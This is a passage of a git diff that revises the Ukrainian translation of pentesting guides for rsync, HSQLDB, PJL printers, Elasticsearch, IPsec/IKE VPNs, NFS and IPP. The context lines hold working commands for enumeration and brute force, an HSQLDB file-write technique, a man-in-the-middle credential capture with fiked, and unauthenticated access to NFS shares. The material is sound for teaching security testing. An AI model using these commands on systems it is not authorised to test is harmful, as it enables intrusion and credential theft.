[комп'ютерами](https://en.wikipedia.org/wiki/Computer) шляхом порівняння [часів модифікації]() та розмірів файлів.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) Він зазвичай зустрічається на [Unix-подібних](https://en.wikipedia.org/wiki/Unix-like) [операційних системах](https://en.wikipedia.org/wiki/Operating_system). Алгоритм rsync є типом [delta encoding](https://en.wikipedia.org/wiki/Delta_encoding) і використовується для мінімізації використання мережі. [Zlib](https://en.wikipedia.org/wiki/Zlib) може бути використаний для додаткової [стиснення даних](https://en.wikipedia.org/wiki/Data_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) а [SSH](https://en.wikipedia.org/wiki/Secure_Shell) або [stunnel](https://en.wikipedia.org/wiki/Stunnel) можуть бути використані для безпеки. **Порт за замовчуванням:** 873 ``` @@ -39,7 +39,7 @@ raidroot ``` ### **Перерахування спільних папок** -**Rsync модулі** вважаються **спільними каталогами**, які можуть бути **захищені паролями**. Щоб визначити доступні модулі та перевірити, чи потрібні паролі, використовуються такі команди: +**Модулі Rsync** вважаються **спільними каталогами**, які можуть бути **захищені паролями**. Щоб визначити доступні модулі та перевірити, чи потрібні паролі, використовуються такі команди: ```bash nmap -sV --script "rsync-list-modules" -p msf> use auxiliary/scanner/rsync/modules_list @@ -47,13 +47,13 @@ msf> use auxiliary/scanner/rsync/modules_list # Example with IPv6 and alternate port rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730 ``` -Будьте обережні, що деякі спільні ресурси можуть не з'явитися в списку, можливо, їх приховано. Крім того, доступ до деяких спільних ресурсів може бути обмежений конкретними **обліковими даними**, що вказується повідомленням **"Доступ заборонено"**. +Будьте обережні, що деякі спільні ресурси можуть не з'явитися в списку, можливо, їх приховано. Крім того, доступ до деяких спільних ресурсів може бути обмежений певними **обліковими даними**, що вказується повідомленням **"Доступ заборонено"**. ### [**Brute Force**](../generic-hacking/brute-force.md#rsync) ### Ручне використання Rsync -Після отримання **списку модулів** дії залежать від того, чи потрібна аутентифікація. Без аутентифікації **перелік** і **копіювання** файлів з загальної папки до локального каталогу здійснюється через: +Після отримання **списку модулів** дії залежать від того, чи потрібна аутентифікація. Без аутентифікації **перелік** та **копіювання** файлів з загальної папки до локального каталогу здійснюється через: ```bash # Listing a shared folder rsync -av --list-only rsync://192.168.0.123/shared_name diff --git a/src/network-services-pentesting/9001-pentesting-hsqldb.md b/src/network-services-pentesting/9001-pentesting-hsqldb.md index e2f2ae310..9e5cff912 100644 --- a/src/network-services-pentesting/9001-pentesting-hsqldb.md +++ b/src/network-services-pentesting/9001-pentesting-hsqldb.md @@ -2,7 +2,7 @@ # Основна інформація -**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** є провідною системою реляційних баз даних SQL, написаною на Java. Вона пропонує малий, швидкий багатопотоковий та транзакційний механізм бази даних з таблицями в пам'яті та на диску і підтримує вбудовані та серверні режими. +**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** є провідною системою реляційних баз даних SQL, написаною на Java. Вона пропонує невеликий, швидкий багатопотоковий та транзакційний механізм бази даних з таблицями в пам'яті та на диску, а також підтримує вбудовані та серверні режими. **Порт за замовчуванням:** 9001 ```text @@ -14,7 +14,7 @@ Зверніть увагу, що за замовчуванням ця служба, ймовірно, працює в пам'яті або прив'язана до localhost. Якщо ви її знайшли, ви, напевно, експлуатували іншу службу і намагаєтеся підвищити привілеї. -Налаштування за замовчуванням зазвичай є `sa` з порожнім паролем. +Налаштування за замовчуванням зазвичай `sa` з порожнім паролем. Якщо ви експлуатували іншу службу, шукайте можливі облікові дані, використовуючи ```text @@ -34,7 +34,7 @@ grep -rP 'jdbc:hsqldb.*password.*' /path/to/search Ми можемо викликати статичні методи класу Java з HSQLDB, використовуючи рутини мови Java. Зверніть увагу, що викликаний клас повинен бути в класpath програми. -JRT можуть бути `функціями` або `процедурами`. Функції можна викликати через SQL запити, якщо метод Java повертає одну або кілька SQL-сумісних примітивних змінних. Вони викликаються за допомогою оператора `VALUES`. +JRT можуть бути `функціями` або `процедурами`. Функції можна викликати через SQL оператори, якщо метод Java повертає одну або кілька SQL-сумісних примітивних змінних. Вони викликаються за допомогою оператора `VALUES`. Якщо метод Java, який ми хочемо викликати, повертає void, нам потрібно використовувати процедуру, викликану за допомогою оператора `CALL`. @@ -54,7 +54,7 @@ VALUES(getsystemproperty('user.name')) ## Запис вмісту у файл -Ви можете використовувати `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java гаджет, розташований у JDK \(автоматично завантажується в клас шлях програми\), щоб записувати шістнадцяткові коди на диск через користувацьку процедуру. **Зверніть увагу на максимальний розмір 1024 байти**. +Ви можете використовувати `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java гаджет, розташований у JDK \(автоматично завантажується в клас шлях програми\), щоб записувати шестигранно закодовані елементи на диск через користувацьку процедуру. **Зверніть увагу на максимальний розмір 1024 байти**. Створіть процедуру: ```text diff --git a/src/network-services-pentesting/9100-pjl.md b/src/network-services-pentesting/9100-pjl.md index ebf3a877f..6aa603478 100644 --- a/src/network-services-pentesting/9100-pjl.md +++ b/src/network-services-pentesting/9100-pjl.md @@ -2,7 +2,7 @@ # Основна інформація -З [тут](http://hacking-printers.net/wiki/index.php/Port_9100_printing): Сировинний друк - це те, що ми визначаємо як процес підключення до порту 9100/tcp мережевого принтера. Це стандартний метод, який використовується CUPS та архітектурою друку Windows для зв'язку з мережевими принтерами, оскільки вважається «_найпростішим, найшвидшим і, загалом, найнадійнішим мережевим протоколом, що використовується для принтерів_». Сировинний друк на порту 9100, також відомий як JetDirect, AppSocket або PDL-datastream, насправді **не є протоколом друку сам по собі**. Натомість **всі дані, що надсилаються, безпосередньо обробляються друкуючим пристроєм**, так само, як і паралельне з'єднання через TCP. На відміну від LPD, IPP та SMB, це може надсилати прямий зворотний зв'язок клієнту, включаючи статус і повідомлення про помилки. Такий **двосторонній канал** надає нам прямий **доступ** до **результатів** команд **PJL**, **PostScript** або **PCL**. Тому сировинний друк на порту 9100 – який підтримується майже будь-яким мережевим принтером – використовується як канал для аналізу безпеки з PRET та PFT. +З [тут](http://hacking-printers.net/wiki/index.php/Port_9100_printing): Сировинний друк - це те, що ми визначаємо як процес встановлення з'єднання з портом 9100/tcp мережевого принтера. Це стандартний метод, який використовують CUPS та архітектура друку Windows для зв'язку з мережевими принтерами, оскільки він вважається «_найпростішим, найшвидшим і, загалом, найнадійнішим мережевим протоколом, що використовується для принтерів_». Сировинний друк на порту 9100, також відомий як JetDirect, AppSocket або PDL-datastream, насправді **не є протоколом друку сам по собі**. Натомість **всі дані, що надсилаються, безпосередньо обробляються друкуючим пристроєм**, так само, як і паралельне з'єднання через TCP. На відміну від LPD, IPP та SMB, це може надсилати прямий зворотний зв'язок клієнту, включаючи статус і повідомлення про помилки. Такий **двосторонній канал** надає нам прямий **доступ** до **результатів** команд **PJL**, **PostScript** або **PCL**. Тому сировинний друк на порту 9100 – який підтримується майже будь-яким мережевим принтером – використовується як канал для аналізу безпеки з PRET та PFT. Якщо ви хочете дізнатися більше про [**зламування принтерів, прочитайте цю сторінку**](http://hacking-printers.net/wiki/index.php/Main_Page). diff --git a/src/network-services-pentesting/9200-pentesting-elasticsearch.md b/src/network-services-pentesting/9200-pentesting-elasticsearch.md index 49cc39967..3298478fd 100644 --- a/src/network-services-pentesting/9200-pentesting-elasticsearch.md +++ b/src/network-services-pentesting/9200-pentesting-elasticsearch.md @@ -4,7 +4,7 @@ ## Основна інформація -Elasticsearch є **розподіленим**, **відкритим** пошуковим та аналітичним двигуном для **всіх типів даних**. Він відомий своєю **швидкістю**, **масштабованістю** та **простими REST API**. Побудований на Apache Lucene, вперше був випущений у 2010 році компанією Elasticsearch N.V. (тепер відомою як Elastic). Elasticsearch є основним компонентом Elastic Stack, набору відкритих інструментів для збору, збагачення, зберігання, аналізу та візуалізації даних. Цей стек, зазвичай називається ELK Stack, також включає Logstash та Kibana, а тепер має легкі агенти для доставки даних, звані Beats. +Elasticsearch є **розподіленим**, **відкритим** пошуковим та аналітичним двигуном для **всіх типів даних**. Він відомий своєю **швидкістю**, **масштабованістю** та **простими REST API**. Побудований на Apache Lucene, вперше був випущений у 2010 році компанією Elasticsearch N.V. (тепер відома як Elastic). Elasticsearch є основним компонентом Elastic Stack, колекції відкритих інструментів для збору, збагачення, зберігання, аналізу та візуалізації даних. Цей стек, зазвичай називається ELK Stack, також включає Logstash та Kibana, а тепер має легкі агенти для доставки даних, які називаються Beats. ### Що таке індекс Elasticsearch? @@ -12,7 +12,7 @@ Elasticsearch є **розподіленим**, **відкритим** пошук Elasticsearch використовує ефективну структуру даних, звану **інвертованим індексом**, для забезпечення швидкого повнотекстового пошуку. Цей індекс перераховує кожне унікальне слово в документах і ідентифікує документи, в яких з'являється кожне слово. -Під час процесу індексації Elasticsearch зберігає документи та створює інвертований індекс, що дозволяє здійснювати пошук майже в реальному часі. **API індексу** використовується для додавання або оновлення JSON-документів у конкретному індексі. +Під час процесу індексації Elasticsearch зберігає документи та конструює інвертований індекс, що дозволяє здійснювати пошук майже в реальному часі. **API індексу** використовується для додавання або оновлення JSON-документів у конкретному індексі. **Порт за замовчуванням**: 9200/tcp @@ -28,7 +28,7 @@ Elasticsearch використовує ефективну структуру д ### Аутентифікація -**За замовчуванням аутентифікація в Elasticsearch не ввімкнена**, тому за замовчуванням ви можете отримати доступ до всього всередині бази даних без використання будь-яких облікових даних. +**За замовчуванням у Elasticsearch аутентифікація не ввімкнена**, тому за замовчуванням ви можете отримати доступ до всього всередині бази даних без використання будь-яких облікових даних. Ви можете перевірити, що аутентифікація вимкнена, надіславши запит до: ```bash @@ -39,7 +39,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user" ```bash {"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401} ``` -Це означає, що автентифікація налаштована, і **вам потрібні дійсні облікові дані**, щоб отримати будь-яку інформацію з elasticsearch. Потім ви можете [**спробувати брутфорсити це**](../generic-hacking/brute-force.md#elasticsearch) (він використовує HTTP basic auth, тому все, що може BF HTTP basic auth, може бути використано).\ +Це означає, що автентифікація налаштована, і **вам потрібні дійсні облікові дані**, щоб отримати будь-яку інформацію з elasticsearch. Потім ви можете [**спробувати брутфорсити це**](../generic-hacking/brute-force.md#elasticsearch) (він використовує HTTP basic auth, тому будь-що, що може BF HTTP basic auth, може бути використано).\ Ось у вас є **список стандартних імен користувачів**: _**elastic** (суперкористувач), remote_monitoring_user, beats_system, logstash_system, kibana, kibana_system, apm_system,_ \_anonymous\_.\_ У старіших версіях Elasticsearch є стандартний пароль **changeme** для цього користувача. ``` curl -X GET http://user:password@IP:9200/ @@ -87,7 +87,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user/" | /\_cat/nodes | | | Ці кінцеві точки були [**взяти з документації**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html), де ви можете **знайти більше**.\ -Також, якщо ви отримуєте доступ до `/_cat`, відповідь міститиме `/_cat/*` кінцеві точки, підтримувані екземпляром. +Також, якщо ви отримуєте доступ до `/_cat`, відповідь міститиме підтримувані кінцеві точки `/_cat/*` екземпляра. У `/_security/user` (якщо автентифікація увімкнена) ви можете побачити, який користувач має роль `superuser`. @@ -112,9 +112,9 @@ yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 _Витратьте хвилину, щоб порівняти вміст кожного документа (запису) в індексі банку та поля цього індексу, які ми бачили в попередньому розділі._ -Отже, на цьому етапі ви можете помітити, що **існує поле під назвою "total" всередині "hits"**, яке вказує на те, що **в цьому індексі знайдено 1000 документів**, але лише 10 були отримані. Це тому, що **за замовчуванням існує обмеження в 10 документів**.\ +Отже, на цьому етапі ви можете помітити, що **існує поле під назвою "total" всередині "hits"**, яке вказує на те, що **було знайдено 1000 документів** в цьому індексі, але лише 10 були повернені. Це тому, що **за замовчуванням існує обмеження в 10 документів**.\ Але тепер, коли ви знаєте, що **цей індекс містить 1000 документів**, ви можете **вивантажити всі з них**, вказавши кількість записів, які ви хочете вивантажити в параметрі **`size`**: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\ -\&#xNAN;_Примітка: Якщо ви вкажете більше число, всі записи все одно будуть вивантажені, наприклад, ви могли б вказати `size=9999`, і це буде дивно, якщо буде більше записів (але вам слід перевірити)._ +\&#xNAN;_Примітка: Якщо ви вкажете більше число, всі записи будуть вивантажені в будь-якому випадку, наприклад, ви могли б вказати `size=9999`, і це буде дивно, якщо буде більше записів (але вам слід перевірити)._ ### Вивантажити все @@ -135,7 +135,7 @@ _Зверніть увагу, що параметр q, який використ ### Права на запис -Ви можете перевірити свої права на запис, спробувавши створити новий документ у новому індексі, запустивши щось на зразок наступного: +Ви можете перевірити свої права на запис, спробувавши створити новий документ в новому індексі, запустивши щось на зразок наступного: ```bash curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/json' -d' { @@ -155,7 +155,7 @@ curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/j ![](<../images/image (434).png>) -## Автоматична енумерація +## Автоматична нумерація Деякі інструменти отримають частину даних, представлених раніше: ```bash diff --git a/src/network-services-pentesting/ipsec-ike-vpn-pentesting.md b/src/network-services-pentesting/ipsec-ike-vpn-pentesting.md index deb6ea6bf..26a09eecb 100644 --- a/src/network-services-pentesting/ipsec-ike-vpn-pentesting.md +++ b/src/network-services-pentesting/ipsec-ike-vpn-pentesting.md @@ -4,13 +4,13 @@ ## Основна інформація -**IPsec** широко визнаний як основна технологія для забезпечення безпеки комунікацій між мережами (LAN-to-LAN) та від віддалених користувачів до мережевого шлюзу (віддалений доступ), слугуючи основою для корпоративних VPN рішень. +**IPsec** широко визнаний як основна технологія для забезпечення безпеки комунікацій між мережами (LAN-to-LAN) та від віддалених користувачів до мережевого шлюзу (віддалений доступ), слугуючи основою для корпоративних VPN-рішень. Встановлення **асоціації безпеки (SA)** між двома точками управляється **IKE**, який працює під егідою ISAKMP, протоколу, призначеного для аутентифікації та обміну ключами. Цей процес розгортається в кілька фаз: - **Фаза 1:** Створюється захищений канал між двома кінцевими точками. Це досягається за допомогою попередньо поділеного ключа (PSK) або сертифікатів, використовуючи або основний режим, який включає три пари повідомлень, або **агресивний режим**. -- **Фаза 1.5:** Хоча не є обов'язковою, ця фаза, відома як Фаза розширеної аутентифікації, перевіряє особу користувача, який намагається підключитися, вимагаючи ім'я користувача та пароль. -- **Фаза 2:** Ця фаза присвячена узгодженню параметрів для забезпечення безпеки даних за допомогою **ESP** та **AH**. Вона дозволяє використовувати алгоритми, відмінні від тих, що в Фазі 1, для забезпечення **Ідеальної впередньої секретності (PFS)**, що підвищує безпеку. +- **Фаза 1.5:** Хоча ця фаза не є обов'язковою, вона, відома як Фаза розширеної аутентифікації, перевіряє особу користувача, який намагається підключитися, вимагаючи ім'я користувача та пароль. +- **Фаза 2:** Ця фаза присвячена узгодженню параметрів для забезпечення безпеки даних за допомогою **ESP** та **AH**. Вона дозволяє використовувати алгоритми, відмінні від тих, що використовуються в Фазі 1, для забезпечення **Ідеальної впередньої секретності (PFS)**, що підвищує безпеку. **Порт за замовчуванням:** 500/udp @@ -44,13 +44,13 @@ Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 retur Як ви можете бачити в попередній відповіді, є поле під назвою **AUTH** зі значенням **PSK**. Це означає, що VPN налаштовано з використанням попередньо поділеного ключа (і це дійсно добре для пентестера).\ **Значення останнього рядка також дуже важливе:** -- _0 повернено handshake; 0 повернено notify:_ Це означає, що ціль **не є шлюзом IPsec**. -- _**1 повернено handshake; 0 повернено notify:**_ Це означає, що **ціль налаштована для IPsec і готова виконати переговори IKE, і один або кілька з трансформацій, які ви запропонували, є прийнятними** (дійсна трансформація буде показана в виході). -- _0 повернено handshake; 1 повернено notify:_ Шлюзи VPN відповідають повідомленням notify, коли **жодна з трансформацій не є прийнятною** (хоча деякі шлюзи цього не роблять, у такому випадку слід спробувати подальший аналіз і переглянуту пропозицію). +- _0 повернено handshake; 0 повернено notify:_ Це означає, що ціль **не є IPsec шлюзом**. +- _**1 повернено handshake; 0 повернено notify:**_ Це означає, що **ціль налаштована для IPsec і готова до проведення IKE переговорів, і один або більше з трансформацій, які ви запропонували, є прийнятними** (дійсна трансформація буде показана в виході). +- _0 повернено handshake; 1 повернено notify:_ Шлюзи VPN відповідають повідомленням notify, коли **жодна з трансформацій не є прийнятною** (хоча деякі шлюзи цього не роблять, у такому випадку слід провести подальший аналіз і спробувати переглянуту пропозицію). -Отже, в цьому випадку у нас вже є дійсна трансформація, але якщо ви в 3-му випадку, тоді вам потрібно **трохи брутфорсити, щоб знайти дійсну трансформацію:** +Отже, в цьому випадку у нас вже є дійсна трансформація, але якщо ви в 3-му випадку, то вам потрібно **трохи брутфорсити, щоб знайти дійсну трансформацію:** -Перш за все, вам потрібно створити всі можливі трансформації: +По-перше, вам потрібно створити всі можливі трансформації: ```bash for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done ``` @@ -58,11 +58,11 @@ for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for A ```bash while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line ) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt ``` -Якщо брутфорс не спрацював, можливо, сервер відповідає без рукостискань навіть на дійсні трансформації. Тоді ви могли б спробувати той же брутфорс, але використовуючи агресивний режим: +Якщо брутфорс не спрацював, можливо, сервер відповідає без рукостискань навіть на дійсні трансформації. Тоді ви можете спробувати той же брутфорс, але використовуючи агресивний режим: ```bash while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line ) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt ``` -Сподіваюсь, **дійсна трансформація буде відображена**.\ +Сподіваюсь, **дійсна трансформація буде відображена назад**.\ Ви можете спробувати **ту ж атаку** за допомогою [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\ Ви також можете спробувати брутфорс трансформацій за допомогою [**ikeforce**](https://github.com/SpiderLabs/ikeforce): ```bash @@ -77,11 +77,11 @@ Cisco вказує уникати використання DH груп 1 та 2, ### Відбитки серверів -Потім ви можете використовувати ike-scan, щоб спробувати **виявити постачальника** пристрою. Інструмент надсилає початкову пропозицію і зупиняє повторення. Потім він **аналізує** **різницю** **в часі** **між** отриманими **повідомленнями** від сервера та відповідним шаблоном відповіді, що дозволяє пентестеру успішно визначити постачальника VPN шлюзу. Більше того, деякі VPN сервери використовуватимуть необов'язковий **Vendor ID (VID) payload** з IKE. +Потім ви можете використовувати ike-scan, щоб спробувати **виявити постачальника** пристрою. Інструмент надсилає початкову пропозицію і зупиняє повторення. Потім, він **аналізує** **різницю** **в часі** **між** отриманими **повідомленнями** від сервера та відповідним шаблоном відповіді, пентестер може успішно визначити постачальника VPN шлюзу. Більше того, деякі VPN сервери використовуватимуть необов'язковий **Vendor ID (VID) payload** з IKE. **Вкажіть дійсну трансформацію, якщо потрібно** (використовуючи --trans) -Якщо IKE виявить, який постачальник, він надрукує його: +Якщо IKE виявить, який постачальник, він надрукує це: ``` root@bt:~# ike-scan -M --showbackoff 172.16.21.200 Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/) @@ -105,12 +105,12 @@ Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 retur ## Знаходження правильного ID (імені групи) -Щоб мати можливість захопити хеш, вам потрібна дійсна трансформація, що підтримує агресивний режим, та правильний ID (ім'я групи). Ви, ймовірно, не будете знати дійсне ім'я групи, тому вам доведеться використовувати брутфорс.\ +Щоб мати можливість захопити хеш, вам потрібна дійсна трансформація, що підтримує агресивний режим, і правильний ID (ім'я групи). Ви, ймовірно, не будете знати дійсне ім'я групи, тому вам доведеться його перебрати.\ Для цього я рекомендую вам 2 методи: -### Брутфорс ID з ike-scan +### Перебір ID з ike-scan -По-перше, спробуйте зробити запит з фальшивим ID, намагаючись зібрати хеш ("-P"): +По-перше, спробуйте надіслати запит з фальшивим ID, намагаючись зібрати хеш ("-P"): ```bash ike-scan -P -M -A -n fakeID ``` @@ -120,7 +120,7 @@ ike-scan -P -M -A -n fakeID Але якщо, як я вже сказав, не повертається хеш, то вам слід спробувати брутфорсити загальні назви груп, використовуючи ike-scan. -Цей скрипт **спробує брутфорсити можливі ID** і поверне ID, для яких повертається дійсна рукопожаття (це буде дійсна назва групи). +Цей скрипт **спробує брутфорсити можливі ID** і поверне ID, для яких повертається дійсна рукавица (це буде дійсна назва групи). Якщо ви виявили конкретну трансформацію, додайте її в команду ike-scan. І якщо ви виявили кілька трансформацій, не соромтеся додати новий цикл, щоб спробувати їх усі (вам слід спробувати їх усі, поки один з них не спрацює належним чином). @@ -134,7 +134,7 @@ while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line ### Брутфорс ID з Iker -[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) також використовує **ike-scan** для брутфорсу можливих імен груп. Він слідує своїй власній методи для **знаходження дійсного ID на основі виходу ike-scan**. +[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) також використовує **ike-scan** для брутфорсу можливих імен груп. Він слідує власному методу, щоб **знайти дійсний ID на основі виходу ike-scan**. ### Брутфорс ID з ikeforce @@ -145,7 +145,7 @@ while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line - **Перший метод** полягає в брутфорсі імен груп, **шукаючи** інформацію **Dead Peer Detection DPD** систем Cisco (ця інформація відправляється сервером лише якщо ім'я групи правильне). - **Другий метод**, що доступний, полягає в **перевірці кількості відповідей, надісланих на кожну спробу**, оскільки іноді надсилається більше пакетів, коли використовується правильний ID. - **Третій метод** полягає в **пошуку "INVALID-ID-INFORMATION" у відповідь на неправильний ID**. -- Нарешті, якщо сервер не відповідає на перевірки, **ikeforce** спробує брутфорсити сервер і перевірити, чи відповідає сервер на правильний ID з деяким пакетом.\ +- Нарешті, якщо сервер не відповідає на перевірки, **ikeforce** спробує брутфорсити сервер і перевірити, чи відповідає сервер надісланим пакетом, коли правильний ID відправлений.\ Очевидно, мета брутфорсу ID - отримати **PSK**, коли у вас є дійсний ID. Потім, з **ID** та **PSK** вам потрібно буде брутфорсити XAUTH (якщо він увімкнений). Якщо ви виявили конкретну трансформацію, додайте її в команду ikeforce. І якщо ви виявили кілька трансформацій, не соромтеся додати новий цикл, щоб спробувати їх усі (вам слід спробувати їх усі, поки один з них не спрацює належним чином). @@ -177,9 +177,9 @@ psk-crack -d psk.txt ``` ## **XAuth** -**Агресивний режим IKE** в поєднанні з **попередньо поділеним ключем (PSK)** зазвичай використовується для **групової аутентифікації**. Цей метод доповнюється **XAuth (Розширена аутентифікація)**, яка служить для введення додаткового рівня **аутентифікації користувача**. Така аутентифікація зазвичай використовує сервіси, такі як **Microsoft Active Directory**, **RADIUS** або подібні системи. +**Агресивний режим IKE** в поєднанні з **попередньо поділеним ключем (PSK)** зазвичай використовується для цілей **групової аутентифікації**. Цей метод доповнюється **XAuth (Розширена аутентифікація)**, яка служить для введення додаткового рівня **аутентифікації користувача**. Така аутентифікація зазвичай використовує сервіси, такі як **Microsoft Active Directory**, **RADIUS** або подібні системи. -Перехід до **IKEv2** демонструє помітну зміну, де **EAP (Розширений протокол аутентифікації)** використовується замість **XAuth** для аутентифікації користувачів. Ця зміна підкреслює еволюцію практик аутентифікації в рамках безпечних комунікаційних протоколів. +Перехід до **IKEv2** демонструє помітну зміну, де **EAP (Розширювальний протокол аутентифікації)** використовується замість **XAuth** для аутентифікації користувачів. Ця зміна підкреслює еволюцію практик аутентифікації в рамках протоколів безпечного зв'язку. ### Локальна мережа MitM для захоплення облікових даних @@ -191,7 +191,7 @@ fiked -g -k testgroup:secretkey -l output.txt -d ### Брутфорсинг імені користувача та пароля XAUTH за допомогою ikeforce -Щоб здійснити брутфорс **XAUTH** (коли ви знаєте дійсну назву групи **id** та **psk**), ви можете використовувати ім'я користувача або список імен користувачів та список паролів: +Щоб брутфорсити **XAUTH** (коли ви знаєте дійсну назву групи **id** та **psk**), ви можете використовувати ім'я користувача або список імен користувачів і список паролів: ```bash ./ikeforce.py -b -i -u -k -w [-s 1] ``` diff --git a/src/network-services-pentesting/nfs-service-pentesting.md b/src/network-services-pentesting/nfs-service-pentesting.md index 3ef123250..27d9b1bca 100644 --- a/src/network-services-pentesting/nfs-service-pentesting.md +++ b/src/network-services-pentesting/nfs-service-pentesting.md @@ -16,11 +16,11 @@ ``` ### Версії -- **NFSv2**: Ця версія відзначається широкою сумісністю з різними системами, що підкреслює її значення завдяки початковим операціям, переважно через UDP. Будучи **найстарішою** у серії, вона заклала основу для майбутніх розробок. +- **NFSv2**: Ця версія відзначається широкою сумісністю з різними системами, що підкреслює її значення з початковими операціями переважно через UDP. Будучи **найстарішою** у серії, вона заклала основу для майбутніх розробок. - **NFSv3**: Введена з рядом покращень, NFSv3 розширила можливості свого попередника, підтримуючи змінні розміри файлів і пропонуючи покращені механізми звітності про помилки. Незважаючи на свої досягнення, вона стикалася з обмеженнями в повній зворотній сумісності з клієнтами NFSv2. -- **NFSv4**: Важлива версія в серії NFS, NFSv4 представила набір функцій, розроблених для модернізації обміну файлами через мережі. Помітні покращення включають інтеграцію Kerberos для **високої безпеки**, можливість проходження через брандмауери та роботи через Інтернет без необхідності в портмапперах, підтримку списків контролю доступу (ACL) та впровадження операцій на основі стану. Її покращення продуктивності та впровадження протоколу збереження стану відрізняють NFSv4 як важливий крок вперед у технологіях обміну мережевими файлами. +- **NFSv4**: Важлива версія в серії NFS, NFSv4 представила набір функцій, призначених для модернізації обміну файлами через мережі. Помітні покращення включають інтеграцію Kerberos для **високої безпеки**, можливість проходження через брандмауери та роботи через Інтернет без необхідності в портмапперах, підтримку списків контролю доступу (ACL) та впровадження операцій на основі стану. Її покращення продуктивності та впровадження протоколу збереження стану відрізняють NFSv4 як важливий крок вперед у технологіях обміну мережевими файлами. Кожна версія NFS була розроблена з метою задовольнити еволюційні потреби мережевих середовищ, поступово покращуючи безпеку, сумісність і продуктивність. @@ -46,7 +46,7 @@ showmount -e ```bash mount -t nfs [-o vers=2] : -o nolock ``` -Вам слід вказати **використовувати версію 2**, оскільки вона не має **жодної** **автентифікації** або **авторизації**. +Ви повинні вказати **використовувати версію 2**, оскільки вона не має **жодної** **автентифікації** або **авторизації**. **Приклад:** ```bash @@ -70,7 +70,7 @@ mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock ``` ### Небезпечні налаштування -- **Дозволи на читання та запис (`rw`):** Це налаштування дозволяє як читати з, так і записувати у файлову систему. Важливо враховувати наслідки надання такого широкого доступу. +- **Дозволи на читання та запис (`rw`):** Це налаштування дозволяє як читання, так і запис у файлову систему. Важливо враховувати наслідки надання такого широкого доступу. - **Використання небезпечних портів (`insecure`):** Коли це увімкнено, система може використовувати порти вище 1024. Безпека портів вище цього діапазону може бути менш суворою, що збільшує ризик. @@ -78,7 +78,7 @@ mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock - **Власність файлів root (`no_root_squash`):** З цим налаштуванням файли, створені користувачем root, зберігають свій оригінальний UID/GID 0, ігноруючи принцип найменших привілеїв і потенційно надаючи надмірні дозволи. -- **Несквашування всіх користувачів (`no_all_squash`):** Ця опція забезпечує збереження ідентичностей користувачів по всій системі, що може призвести до проблем з дозволами та контролем доступу, якщо не буде правильно оброблено. +- **Несквашування всіх користувачів (`no_all_squash`):** Ця опція забезпечує збереження ідентичностей користувачів по всій системі, що може призвести до проблем з дозволами та контролем доступу, якщо не буде належним чином оброблено. ## Підвищення привілеїв за допомогою неправильних налаштувань NFS diff --git a/src/network-services-pentesting/pentesting-631-internet-printing-protocol-ipp.md b/src/network-services-pentesting/pentesting-631-internet-printing-protocol-ipp.md index bb7225700..0ab6d0fa3 100644 --- a/src/network-services-pentesting/pentesting-631-internet-printing-protocol-ipp.md +++ b/src/network-services-pentesting/pentesting-631-internet-printing-protocol-ipp.md @@ -1,10 +1,10 @@ {{#include ../banners/hacktricks-training.md}} -# Internet Printing Protocol \(IPP\) +# Інтернет-протокол друку \(IPP\) -**Internet Printing Protocol (IPP)**, як зазначено в **RFC2910** та **RFC2911**, слугує основою для друку через інтернет. Його можливість розширення демонструється такими розробками, як **IPP Everywhere**, яка має на меті стандартизувати мобільний та хмарний друк, а також введення розширень для **3D друку**. +**Інтернет-протокол друку (IPP)**, як зазначено в **RFC2910** та **RFC2911**, слугує основою для друку через інтернет. Його можливість розширення демонструється такими розробками, як **IPP Everywhere**, яка має на меті стандартизувати мобільний та хмарний друк, а також введення розширень для **3D-друку**. -Використовуючи протокол **HTTP**, IPP отримує вигоду від встановлених практик безпеки, включаючи **базову/дослідницьку аутентифікацію** та **SSL/TLS шифрування**. Дії, такі як подання друкованого завдання або запит статусу принтера, виконуються через **HTTP POST запити**, спрямовані на IPP сервер, який 